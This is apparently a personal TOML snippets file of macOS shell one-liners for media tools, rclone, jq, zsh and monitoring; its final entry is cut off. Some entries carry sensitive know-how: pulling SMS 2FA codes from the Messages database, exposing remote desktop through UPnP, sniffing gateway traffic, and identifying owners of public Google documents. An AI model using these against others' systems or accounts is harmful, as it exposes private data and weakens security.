[[snippets]]
description = "monitoring: Measure cputime usage per second! This seem far more useful than just looking at \"cpu\" or \"cputime\". Lets you see history and see a rolling average of usage. Of course accuracy is limited by the cputime accuracy. Also changes in frequency CPU frequency arent represented either. (I'll use `Turbo Boost Switcher` to lock it to the non-boosted frequency)"
command = "while :;do ps -p $(pgrep IINA) -o cputime= | awk -F: '{ print ($1 * 60) + $2 }' ;sleep 2;done | perl -e '$last=$_; while (<>) {chomp; printf(\"%.2f <---cputime per second (raw: %s)\\n\",($_-$last)/2, $_); $last=$_;}'"
output = ""
[[snippets]]
description = "monitoring: overly complicated version of above, with yet another rolling average. (cpu% is already a moving average...sorta?)"
command = "while :;do ps -p $(pgrep IINA) -o cputime= | awk -F: '{ print ($1 * 60) + $2 }' ;sleep 2;done | perl -MList::Util=sum -e '$last=$_; @hist = (1,1,1,1,1); while (<>) {chomp; $avg=($_-$last)/2; $last=$_; push @hist, $avg; shift @hist; printf(\"cputime/s: %.2f\\t rolling avg: %.2f\\t (raw: %s)\\n\",$avg, (sum @hist)/5, $_);}'"
output = ""
[[snippets]]
description = "shell-fu: removing leading whitespace with macOS/BSD sed"
command = "sed -E 's/^[[:blank:]]+//g'"
output = ""
[[snippets]]
description = "ffmpeg: select the 'right' tracks. Video, audio, and any subtitles tagged \"english\""
command = "ffmpeg -i .... -map 0:v -map 0:a -map 0:s:m:language:eng"
output = ""
[[snippets]]
description = "shell-fu: Python one-liner to JSON-value escape an input string"
command = "echo 'testo\"weee\"\\nyea' | python3 -c 'import json,sys;i=\"\".join(sys.stdin.readlines()).strip();print(json.dumps(i))'"
output = ""
[[snippets]]
description = "WIP shell-fu: Count mkv files per 1st level sub directory"
command = "for d in */; do echo $(\\ls -q -U $d/*.mkv | awk -F . '{print $NF}' | sort | uniq -c | awk '{print $1,$2,\"\\n\"}') \"<---- $d\"; done | sort -nr"
output = ""
[[snippets]]
description = "monitoring: get swap memory usage"
command = "sysctl vm.swapusage"
output = ""
[[snippets]]
description = "rescuetime's crazy persmission asking applescript"
command = "osascript -e \\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 on requestAccessibility()\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 set os_version to do shell script \"sw_vers -productVersion\"\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 considering numeric strings\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 if os_version >= \"10.9\" then\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 tell application \"System Preferences\"\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 set the current pane to pane id \"com.apple.preference.security\"\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 reveal anchor \"Privacy_Accessibility\" of current pane\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 activate\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 beep\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 display dialog \"Please check the checkbox next to the RescueTime icon in the Security & Privacy preferences.\" & return & return & ¬\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 \"Once checked, you can close the Security & Privacy preference window and continue using RescueTime.\" buttons {\"OK\"} ¬\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 with icon caution default button 1\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 end tell\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 else\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 tell application \"System Preferences\"\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 set current pane to pane \"com.apple.preference.universalaccess\"\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 activate\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 beep\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 display dialog \"Please check the checkbox named \\\"Enable access for assistive devices\\\" in the Universal Access preferences.\" & return & return & ¬\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 \"Once checked, you can close the Universal Access preference window and continue using RescueTime.\" buttons {\"OK\"} ¬\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 with icon caution default button 1\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 end tell\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 end if\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 end considering\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 end requestAccessibility\\012\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011\\011 requestAccessibility()"
output = ""
[[snippets]]
description = "rclone: Force a recurisve folder list update on an rclone mount! Only works if mounted with `--fast-list` option. This is the only way to get an efficient recursive directory listing on a mount."
command = "rclone rc vfs/refresh dir=\"some_folder\" recursive=true"
output = ""
[[snippets]]
description = "remote desktop with port forwarding: Enable macOS's builtin remote desktop and setup port forwarding with upnp so that it can be accessed remotely. Be careful. Requires upnpc (a UPnP client). In this example the port forwardings expire after 10 minutes."
command = "sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -users chris -access -on -privs -all -restart -agent; upnpc -e 'chris tcp apple' -a $(dumpIpForInterface $(getPrimaryInterface)) 3283 3283 tcp 600; upnpc -e 'chris udp apple' -a $(dumpIpForInterface $(getPrimaryInterface)) 3283 3283 udp 600; upnpc -e 'chris tcp apple2' -a $(dumpIpForInterface $(getPrimaryInterface)) 5900 5900 tcp 600; upnpc -e 'chris udp apple2' -a $(dumpIpForInterface $(getPrimaryInterface)) 5900 5900 udp 600; upnpc -e 'chris tcp apple3' -a $(dumpIpForInterface $(getPrimaryInterface)) 5988 5988 tcp 600; upnpc -e 'chris udp apple3' -a $(dumpIpForInterface $(getPrimaryInterface)) 5988 5988 udp 600;"
output = ""
[[snippets]]
description = "jq example: Demo of some `jq` stuff I always forget. This command actually comes from an alias I have for fetching properties from MPV over its ipc-socket-server. If the returned object has a .data key and its value is a string or number, just return 'inputted_property=value'. Otherwise return the whole object. Shows some stuff like: Outputing a defined string with included vars. Checking a type with `| type` and then checking for existence in a defined listed with the newish `IN()`. Also when including an outside env var just give up on layered escaping and just end the the ' string, include the var, and then start it again. Wish I'd discovered how much easier that is years ago."
command = "Q=\"ENV_VAR\" echo '{\"data\":\"weee\"}' | jq -r 'if (has(\"data\") and (.data != null) and (.data|type | IN(\"number\",\"string\"))) then \"'$Q'=\\(.data)\" else . end'"
output = ""
[[snippets]]
description = "zsh/compdef: Find the completion function, if any, is being used for a command. Then show that function. Or just look at `$_comps` and all its keys for a list of everything with compdefs. This stuff is so arcane"
command = "echo $_comps[cd]; functions $_comps[cd]"
output = ""
[[snippets]]
description = "keyboard binding customize: Change default mac keyboard bindings using mac's already built in configuation capability! \"DefaultKeyBinding.dict\". Allows very powerful key bindings. Sequences for example. And allows you to define some text behavior that's not available otherwise at all."
command = "open \"https://gist.github.com/varenc/34301f89541c97a061f8f9160808dc1b\""
output = ""
[[snippets]]
description = "rclone mount fast list: On an rclone mount, the `fast-list` setting does nothing....UNLESS you make an \"rc\" command with \"recursive=true\". That'll then use recursive directory listing to fill up the filesystem cache quickly and efficiently if the mount supports --fast-list and --fast-list is enabled."
command = "rclone --rc-addr=:5574 rc vfs/refresh dir=\"Camera Uploads\" recursive=true"
output = ""
[[snippets]]
description = "zsh builtins: Look up the actual man page for zsh built ins. Running `man <builtin>`, like `man command` returns the near useless general BSD docs."
command = "man zshbuiltins"
output = ""
[[snippets]]
description = "export entire indexDB database: https://gist.github.com/varenc/a703f070f9701d8409f93055149af7d0"
command = "# export entire indexDB database: https://gist.github.com/varenc/a703f070f9701d8409f93055149af7d0"
output = ""
[[snippets]]
description = "google docs info sniffing. Find Name/Email/ID/times for a public Google Document (docs, sheets, slides, etc)"
command = "xeuledoc"
output = ""
[[snippets]]
description = "shell-fu/escaping: sed command to shell escape a string defined by a var."
command = "echo $ESCAPE_ME | sed -e \"s/'/'\\\\''/g; 1s/^/'/; \\$s/\\$/'/\"; ### DEMO OF USAGE: ESCAPE_ME='firequalizer=gain='\\''1.4884e8 * f*f*f / (f*f + 424.36) / (f*f + 1.4884e8) / sqrt(f*f + 25122.25)'\\'':scale=linlin:wfunc=tukey:zero_phase=1:fft2=1,compand=.3|.3:1|1:-90/-60|-60/-40|-40/-30|-20/-20:6:0:-90:0.5,volume=1.2'; eval echo \"evaled escaped version:\" $(echo $PRECQT | sed -e \"s/'/'\\\\''/g; 1s/^/'/; \\$s/\\$/'/\" | tee -a /dev/stderr)"
output = ""
[[snippets]]
description = "shell-fu/escaping: Escape a string from a var for use in a regex/sed."
command = "PRECQT=\"string[a]for.the.regex.that...[needs](escaping)\"; ESCAPED=$(printf '%s\\n' $PRECQT | sed -e 's/[]\\/$*.^[]/\\\\&/g'); echo $ESCAPED"
output = ""
[[snippets]]
description = "shell-fu: Get the filesystem type of the current path. Possibly useful for indicating this in your shell's PROMPT"
command = "gdf -P -T . | tail -n +2 | awk '{print $2}'"
output = ""
[[snippets]]
description = "mac pkg dumping: Dump a macOS installer pkg and then dump some of its contents. Needs lots more work to be versatile and automated but you get the idea."
command = "pkgutil --expand Jawbone_Updater-2.2.5.pkg ./Jawbone_updater ; cd Jawbone_updater; fd Payload --exec zsh -c 'mkdir {//}_payload ; tar -xvf {} --directory ./{//}_payload'"
output = ""
[[snippets]]
description = "look up definition from shell; Uses https://fluentcards.com/"
command = "function getWord() { curl \"https://dphk13sebjka5.cloudfront.net/$(echo $1| sed 's/ /%20/g')\" | jq '[ .results[].definition ] | join(\"; \")' }; getWord \"bustle\"; getWord \"booby prize\""
output = ""
[[snippets]]
description = "shell-fu/git: Save a file with the git head commit for every git repo in the current directory"
command = "for d in $(\\ls -d */); do echo $(git -C ${d} rev-parse head)$'\\t'$(gdate)'\\n'$(git -C ${d} show head)'\\n=================' >> ./\"${d:t}__head\"; done"
output = ""
[[snippets]]
description = "rclone: server some stuff over dlna"
command = "### rclone serve dlna . -v -v --read-only --name \"Star Trek Lower Decks\" --addr 192.168.86.20:8808; rclone serve dlna 'putio:/chill.institute/sexyesports/Quanzhi Gaoshou [1080]' -v -v --name \"Sexy ESports\" --read-only --addr \"192.168.86.20:8806\""
output = ""
[[snippets]]
description = "ffmpeg/ffprobe/video: Get aspect ratio as a decimal using ffmpeg and jq"
command = "ffprobe -v quiet -show_format -of json -select_streams v:0 -show_entries stream=height,width,display_aspect_ratio \"$(mpg \"working-directory\")$(mpg path)\" | jq '.streams[0] | .width/.height'"
output = ""
[[snippets]]
description = "dictionary lookup: Just use macOS's built in dictionaries with this util. C code is here: https://github.com/varenc/osx-dictionary"
command = "osx-dictionary antiscorbutic --json"
output = ""
[[snippets]]
description = "ffmpeg/mpv waveform viz: Try out different combinations of waveform visualization settings in IINA/mpv. relies on my `mpc` function to make the IPC call that sets the filter. Use of labels ensure the new filter replaces the old one in the filter chain."
command = "for n in {1..7}; do for e in {0..3}; do echo $n - $e; mpc vf add \"\\\"@VIZluma:lavfi=[format=yuv420p,split=2[a][b]; [b]waveform=mode=row:filter=${n}:envelope=${e}:mirror=0:components=7:display=overlay:intensity=0.04:scale=digital:graticule=none:opacity=0, crop=in_w-16:in_h:16:0[wave2]; [a][wave2]hstack=inputs=2]\\\"\"; read; done; done"
output = ""
[[snippets]]
description = "2FA SMS codes: Copy most recently received SMS 2FA code to the clipboard. Print the most recent codes to stderr and echo the copied code for confirmation"
command = "sqlite3 ~/Library/Messages/chat.db \"SELECT REPLACE(text,CHAR(10),'\\\\n'), datetime(date/1000000000 + strftime('%s', '2001-01-01') ,'unixepoch','localtime') FROM message WHERE ((text glob '* [0-9][0-9][0-9][0-9]*' OR text glob '[0-9][0-9][0-9][0-9]*') or (text like '%code%' and text glob '*[0-9][0-9][0-9]*')) and text not like '%new voicemail%' and text not like '%Available balance is%' and text NOT LIKE '%san francisco%' order by date desc limit 10\" | tail -r | tee -a /dev/stderr | tail -1 | gsed -E \"s/(.*[^0-9]|^)([0-9]{3,8})([^0-9].+\\||\\|).*/\\2/g\" | pbcopy; echo \"===copied code '$(pbpaste)' to pasteboard\" "
output = ""
[[snippets]]
description = "displayplacer: Get the mode # for desired settings from a specified screen id. This is because displayplacer only works correctly consistently when changing settings with 'mode:XX'"
command = "DESIRED=\"res:2304x1296 hz:60 color_depth:8$\"; SID=\"2648EE53-5F1E-37A6-99FA-30FB0B2E49A9\"; displayplacer \"id:$SID mode:$(displayplacer list | sed -E \"s/[[:blank:]]+(<-- current mode)?$//g\" | sed -n -e \"/$SID/,/Persistent screen/ p\" | grep -E \"^ mode\" | grep \"$DESIRED\" | cut -d \":\" -f 1 | sed -E 's/^[[:blank:]]+mode[[:blank:]]//g')\""
output = ""
[[snippets]]
description = "ssh/tcpdump: Connect to remote gateway over ssh, tcpdump DNS and HTTP traffic, log it to a file, and output soem semi-nicely formatted output live"
command = "ssh root@192.168.1.1 '/usr/bin/sudo tcpdump -s0 -i br0 -l \"port 53 or port 80 and inbound\" -w -' | tshark -N Nntmd -i - -Y dns -s0 -l 2> /dev/null | tee -a /tmp/dns_log.txt | grep --line-buffered -v \"query response\" | awk -v OFS=' ' '{ print $1,$5,\"[\"$3\"]\",\"-->\",$12,\"___________\",$0}'"
output = ""
[[snippets]]
description = "vpn/putio/rclone: Add explicit routes to putio IP addresses to that an rclone mount will bypass a VPN if its activated. Use commented out commands to disable. Use lsof to find IPs. VERY VERY BRITTLE. IPs change all the time."
command = "sudo route -v add 185.180.13.1/24 192.168.86.1; sudo route -v add 108.128.212.1/24 192.168.86.1; ### sudo route -v delete 108.128.212.1/24; sudo route -v delete 185.180.13.1/24"
output = ""
[[snippets]]
description = "mpv/fifo: Use a named pipe/fifo to make a helpful file for sending stuff to mpv over ipc. Better than invoking a new socat process constantly. use with mpPropSearch stuff"
command = "## mkfifo /tmp/buffer; tail -f -c +0 /tmp/buffer | socat - $MPV_SOCK; echo '{ \"command\": [\"get_property\", \"'$prop'\"] }' > /tmp/buffer;"
output = ""
[[snippets]]
description = "word diff: Use git's built in diff too do character-level diffing. Can be used outside of git repos with the `--no-index` param. See more options here: https://git-scm.com/docs/git-diff"
command = "git diff --patience --word-diff=color --no-index --word-diff-regex=. /tmp/t1 /tmp/t2"
output = ""
[[snippets]]
description = "vidc/mpv: extract media season/episode from mpv and then find corresponding alternative media"
command = "fd $(mpg path | sed -E \"s/^.*\\/(.*)/\\1/g\" | sed -E \"s/.*([sS][0-9]+[eE][0-9]+).*/\\1/\")"
output = ""
[[snippets]]
description = "show iOS developer code signing certs"
command = "security find-identity -p codesigning"
output = ""
[[snippets]]
description = "tmdb/media: Use the tmdb API to get the name of a media from the season and episode"
command = "curl https://api.themoviedb.org/3/tv/2190/season/1/episode/1\\?api_key\\=$TMDB_API\\&language\\=en-US | jq \".name\""
output = ""
[[snippets]]
description = "tmdb: iterate over media and get name for episodes extracted with guessit"
command = "for ep in ./*.mkv; do curl https://api.themoviedb.org/3/tv/2190/season/1/episode/$\\(guessit $ep --json | jq \".episode\")\\?api_key\\=$TMDB_API\\&language\\=en-US | jq \".name\"; done"
output = ""
[[snippets]]
description = "ffmpeg/microphone audio: Merge two microphone inputs, with different channel layouts, into one semi-efficently encoded mp3"
command = "ffmpeg -f avfoundation -i \":Λvirtual 5.1\" -ac 1 -f avfoundation -i \":V3\" -ac 1 -filter_complex \"[0:a:0]pan=stereo|FL=FL|FR=FR[a0tmp]; [a0tmp][1:a:0]amix[ao]\" -map '[ao]' -codec:a libmp3lame -qscale:a 2 -flush_packets 1 ~/Downloads/media/sfdph_sober_center2.mp3"
output = ""
[[snippets]]
description = "network dns scanning: rDNS all hosts on a local network. Decent way of discovering hosts passively without scanning"
command = "for x in {1..255}; do dig -x 192.168.86.$x +short @192.168.86.1; done"
output = ""
[[snippets]]
description = "itunes stores 'hacking': Open iTunes content in MUSIC.APP! Which doesn't let you browse, mostly, but can open content. Some stuff appears there but not elsewhere. Like the How Its Made \"volumes\" which contain 2 seasons for a lower price."
command = "open \"itmss://itunes.apple.com/us/tv-season/how-its-made-vol-5/id620439340\" ### ids from https://duckduckgo.com/?q=site%3Aitunes.apple.com+how+it%27s+made"
output = ""
[[snippets]]
description = "hostname look up: Query every local ip to see if it resolves and log it."
command = "while true; do gdate; for x in {1..255}; do host 192.168.86.$x | grep -v \"NXDOMAIN\"; done; sleep 120; done | tee -a ~/Documents/network_hosts.log"
output = ""
[[snippets]]
description = "ffmpeg/screen caputure: Capture screen and run a visualizer on it. video size part seems not to work... shrug"
command = "ffplay -f avfoundation -framerate 15 -video_size \"1920x1080\" -i \"Capture screen 0\" -strict experimental -avioflags direct -flush_packets 1 -flags low_delay -analyzeduration 0 -probesize 320 -fflags nobuffer -vf \"format=yuv420p,waveform=mode=row:filter=xflat:mirror=0:components=1:display=overlay:intensity=0.014:scale=digital,crop=in_w-264:in_h:136:0\""
output = ""
[[snippets]]
description = "airplay/traffic analysis: the `httpdump` tool is great for quickly extracting http calls live from an interface or from a pcap. Instantly turns them into curl requests. Great for figuring out the iOS Airply remote control 'Active-Remote:' # and the port."
command = "sudo httpdump -curl -device en0; sudo httpdump -level full -file /tmp/fastdcm.pcap -pretty; ### go get github.com/hsiafan/httpdump"
output = ""
[[snippets]]
description = "ffprobe example: checking for frame size. Useful when determing that duplicate frames arent being compressed well."
command = "ffprobe -loglevel error -read_intervals 00:00:48% -select_streams v:0 -show_frames -show_entries packet=nb_frames,pts_time,flags,pkt_size media | g \"packet\\|pkt_size\\|pkt_pts_time\\|pict_type\""
output = ""
[[snippets]]
description = "zsh negation globbing: Match everything in the current dir EXCEPT for `*E09*`"
command = "echo ^*E09*"
output = ""
[[snippets]]
description = "mpv/iina: add a whacky histogram with some scaling and space compression. A bit of a hack. But uses lut to \"compress\" the pixel component space and then hackily crops and scales the histogram output to just show the scale space. Not exactly perfect. With the current settings the histogram just shows the number of values for each component over 128 (out of 256). Why??? who knows"
command = "MBASE=128; MCUTOFF=$MBASE; mpc vf add \"\\\"@vectorscope2:lavfi=[split=2[og][v0];[v0]scale=iw/2:-2:flags=neighbor,split=3[v1][v2][v3]; [v1]format=gbrp,vectorscope=b=0.7:m=color3:g=green:i=0.02[v]; [v2]format=gbrp,vectorscope=m=color4[v2]; [v3]scale=iw/2:-2:flags=neighbor,eq=saturation=1:brightness=0,format=gbrp,lut=c0='if(lt(val,$MCUTOFF),253,floor(val/$MBASE)+128)':c1='if(lt(val,$MCUTOFF),255,floor(val/$MBASE)+128)':c2='if(lt(val,$MCUTOFF),254,floor(val/$MBASE)+128)',histogram=levels_mode=linear:display_mode=2:level_height=240:scale_height=12:c=7,crop=256/$MBASE:ih:128:0,crop=iw-((256/$MBASE)/(256/$MCUTOFF)):ih:iw-ow:0,scale=256:ih*0.7:flags=neighbor[v3]; [v][v2][v3]vstack=3[vstacked]; [vstacked][og]scale2ref=w='round(oh*mdar/2)*2':h=in_h:flags=neighbor[vstacked][og];[og][vstacked]hstack]\\\"\""
output = ""
[[snippets]]
description = "mplog: tail mpv/iina log with some helpful filtering"
command = "mplog | g -v \"\\]\\[vapoursynth\\]\" | g -v -E \"Run command: ((enable|disable)-section)\" | g -E \"(\\[chris_auto|error|cannot|cant|unable|failed|parsing|run command:|keyp|\\[input\\]|could not|Consider inserting|\\[(e|w)\\]\\[|\\| Parsed_histogram_)\""
output = ""
[[snippets]]
description = "mpv/iina: add whacky histogram and vectorscope with space compression...take 2! now with way more options. Very silly. No way I'll understand whats going on 3 months from now"
command = "FMT=rgb24; MBASE=4; MCUTOFF=$(($MBASE * 1 )); CROP_ENABLED=0; LOG_PLOT=0; VAL_FN=\"floor(val/${MBASE})+128\"; mpc vf add \"\\\"@vectorscope2:lavfi=[split=2[og][v0];[v0]scale=iw:-2:flags=neighbor,format=yuv420p,split=3[v1][v2][v3]; [v1]vectorscope=b=0.7:m=color3:g=green:i=0.02[v]; [v2]vectorscope=m=color4[v2]; [v3]scale=iw/2:-2:flags=neighbor,eq=saturation=1:brightness=0,format=$FMT,lut=c0='if(lt(val,$MCUTOFF),253,${VAL_FN})':c1='if(lt(val,$MCUTOFF),255,${VAL_FN})':c2='if(lt(val,$MCUTOFF),254,${VAL_FN})',format=$FMT,histogram=levels_mode=${LOG_PLOT}:display_mode=2:level_height=240:scale_height=12:c=7,crop=256/$MBASE:ih:128:0,crop=iw-((256/$MBASE)/(256/$MCUTOFF))*${CROP_ENABLED}:ih:iw-ow:0,scale=256:ih*0.7:flags=neighbor[v3]; [v][v2][v3]vstack=3[vstacked]; [vstacked][og]scale2ref=w='round(oh*mdar/2)*2':h=in_h:flags=neighbor[vstacked][og];[og][vstacked]hstack]\\\"\""
output = ""
[[snippets]]
description = "mpv/iina subs: Add subs to the correct place in the video accounting for extra visualization that might be adding space to the sides. A side visualation will widen the video causing places subs to be off center. To fix this we first determine the dimension of the actual video, accounting for scaling. Then we figure out the total size of the side visualization. Then we add that amount of padding on the opposite side so that subs are now center. That at this point we bring subtitle rendering into the vf pipeline with @sub filter. Now the subs are centers but there's a bunch of padding on the left side. Now we crop that extra padding leaving the subs in the center of the video but without any excess padding. yay"
command = "TRUE_WIDTH=$(printf \"%.0f\" $(( $(mpg video-out-params/h) * ( $(mpg track-list/0/demux-w).0 * $(mpg track-list/0/demux-par) / $(mpg track-list/0/demux-h).0 ) ))); NEW_PADDING=$(( $(mpg video-out-params/w) - TRUE_WIDTH )); mpc vf remove '@c1,@sub,@c2'; mpc vf toggle \"\\\"@c1:pad=iw+$NEW_PADDING:ih:$NEW_PADDING:0,@sub:sub,@c2:crop=iw-$NEW_PADDING:ih:$NEW_PADDING:0\\\"\""
output = ""
[[snippets]]
description = "mpv/iina subs placer TAKE 2. Now with correct par handling"
command = "mpc vf remove '@c1,@sub,@c2'; TRUE_WIDTH=$(printf \"%.0f\" $(( $(mpg video-out-params/h) * ( $(mpg track-list/0/demux-w).0 * $(mpg track-list/0/demux-par) / $(mpg track-list/0/demux-h).0 ) ))); NEW_PADDING=$(printf \"%0.3f\" $(( $(mpg video-out-params/w) * $(mpg video-out-params/par) - TRUE_WIDTH ))); mpc vf toggle \"\\\"@c1:lavfi=[scale=iw*sar:ih:flags=fast_bilinear,pad=iw+$NEW_PADDING:ih:$NEW_PADDING:0],@sub:sub,@c2:crop=iw-$NEW_PADDING:ih:$NEW_PADDING:0\\\"\"; SID=$(mpg sid); mpc \"no-osd set sid 0; no-osd set sid $SID\""
output = ""
[[snippets]]
description = "mpv/iina tblend mode cycler; ridic"
command = "DWELL=8; for d in {0..32}; do [[ $last_d -ge $d ]] && echo skipping ld=$last_d && continue; tmode=$(fff tblend | grep -A 35 all_mode | grep \" $d \" | tr -s ' ' | cut -d ' ' -f 2 | tail -1); mpc \"no-osd vf add \\\"@tmpfilter2:lavfi=[scale=iw*sar:ih:flags=fast_bilinear,split=2[og],crop=iw*0.9:ih,tblend=c0_mode=${tmode}[blend];[blend][og]scale2ref='max(main_h * (16/9 - (iw/ih)),main_h/4)':in_h[blend][og];[og][blend]hstack]\\\"\" > /dev/null; mpc show-text '\"${osd-ass-cc/0}{\\\\\\\\an9}{\\\\\\\\fs5.5}{\\\\\\\\fnMonospace}{\\\\\\\\i1}{\\\\\\\\be10}{\\\\\\\\bord1}\\\\n\\\\n\\\\ntblend_mode='${tmode} $d'\"' $((DWELL * 1000)); sleep $DWELL; last_d=$d; done"
output = ""
[[snippets]]
description = "get apple UTI for a particular file. testo.mov in this case. Must be indexed by spotlight"
command = "mdls testo.mov"
output = ""
[[snippets]]
description = "ffmpeg/ffprobe: return the ID for the stream marked \"default=1\". Alternative change `default` to `forced` to check for forced subs. (but the 'default' after -of is referring to something else)"
command = "ffprobe -v 0 -select_streams s -show_entries stream=index:stream_disposition=default -of default=nw=1:nk=0 \"$FILE\" | grep -B1 'default=1' | grep -m1 -o '[0-9]*$'"
output = ""
[[snippets]]
description = "mpv: start mpv to vf of other mpv session. Useful for encoding?"
command = "mpv ... --vf=\"$(echo '{ \"command\": [\"get_property_string\", \"vf\"] }' | socat - $MPV_SOCK | jq -r \".data\")\""
output = ""
[[snippets]]
description = "itunes/app store: Query the app store with curl! this also filters the results to more interesting keys."
command = "curl -H 'Host: itunes.apple.com' -H 'user-agent: Apple%20Configurator%202/649 CFNetwork/978.5 Darwin/18.7.0 (x86_64)' -H 'accept: */*' -H 'accept-language: en-us' --compressed 'https://itunes.apple.com/search?limit=15&term=facebook&country=US&entity=software,iPadSoftware' | jq '.results[] | with_entries(select([.key] | inside([\"description\", \"trackCensoredName\",\"releaseNotes\",\"bundleId\",\"trackViewUrl\",\"fileSizeBytes\",\"userRatingCount\",\"averageUserRating\",\"averageUserRatingForCurrentVersion\"]))) '"
output = ""
[[snippets]]
description = "ffmpeg: combine/overlay two videos and sync frame rate by ALIGNING BY FRAME NUMBER. This can be better than using `fps`...but only if the input sources are of identical frame rates. If they have different vfr frame rates it still leads to problems."
command = "RES=480; T=1200; SS=\"00:00:00\"; time ffmpeg -ss \"$SS\" -i \"input1\" -t \"$T\" -ss \"$SS\" -i \"input2\" -t \"$T\" -filter_complex \"[0:v:0]scale=-2:${RES}:flags=bilinear[v1]; [1:v:0][v1]scale2ref[v2][v1]; [v2]setpts=N/(23.976023976*TB)[v2]; [v1]setpts=N/(23.976023976*TB)[v1]; [v2]drawbox=color=red@0.05:thickness=4[v2]; [v1][v2] hstack [vo]\" -map \"[vo]\" -map 0:a -map '1:s:0?' -c:a copy -c:s copy -c:v hevc_videotoolbox -y -b:v 10M out.mkv"
output = ""
[[snippets]]
description = "zsh show completion function stack: ^Xh (Ctrl-X, h)"
command = "## zsh show completion function stack: ^Xh (Ctrl-X, h)"
output = ""
[[snippets]]
description = "shell-fu/mac: Get codesign details of every currently running proccess"
command = "for p in $(ps -ef | cut -f 4 -d ' ' | sort | uniq); do pidpath $p; done | grep -v \"/System/\\|/usr/libexec/\" | sort | uniq | xargs -L1 codesign -dvv 2>&1"
output = ""
[[snippets]]
description = "ffmpeg: concact multiple hevc video/aac files together without transcoding. Then combine the subtitles. Requires intermediate files along the way. Not sure how to avoid that."
command = "## ffmpeg -i input1.mp4 -c copy -bsf:v hevc_mp4toannexb -f mpegts intermediate1.ts; ffmpeg -i \"concat:intermediate1.ts|intermediate2.ts\" -c copy -bsf:a aac_adtstoasc output.mp4 ## ffmpeg -f concat -safe 0 -i concat_subs.txt -map 0:s -c copy out.srt; ffmpeg -i output.mkv -i out.srt -c copy output_with_subs.mkv ### the \"concat_subs.txt\" text file MUST contain a 'duration' value after the 'file' so that its known how long each srt file should be."
output = ""
[[snippets]]
description = "mpv/iina: Generate EDL (edit list) file containing all media in current directory. This .edl text file creates one large virtual video in mpv/iina. Also adds some titles, based on the file names, which are used as Chapters in the generated virtual video. Handy for binging/bulk transcoding! but mainly just weird and fun. (the funky \\u is a GNU sed feature that uppercases the next char)"
command = "{ echo \"# mpv EDL v0\" && for f in *s0*.mkv; do echo \"$f,title=$(echo $f | sed \"s/\\.mkv//g\" | sed \"s/\\./ /g\" | gsed -E \"s/.*(s[0-9]+)(e[0-9]+) (.*)/\\3 \\u\\1\\u\\2/gI\")\"; done } | tee ./ALL_TREK_COMBINED_s0.edl"
output = ""
[[snippets]]
description = "jq examples AND Star Trek episode plot/ratings sort. Uses imdb-api.com. Mainly saving this since is shows a key useful jq things."
command = "curl https://imdb-api.com/en/API/SeasonEpisodes/__IMDB-API-KEY__/tt0060028/2 | jq '.episodes | map(.imDbRating |= tonumber) | sort_by(.imDbRating)[] | with_entries(select([.key] | inside([\"title\", \"plot\",\"imDbRating\",\"released\",\"episodeNumber\"]))) '"
output = ""
[[snippets]]
description = "ffmpeg live streaming to browser with hls. Pulls from loopback virtual microphone but any input media works"
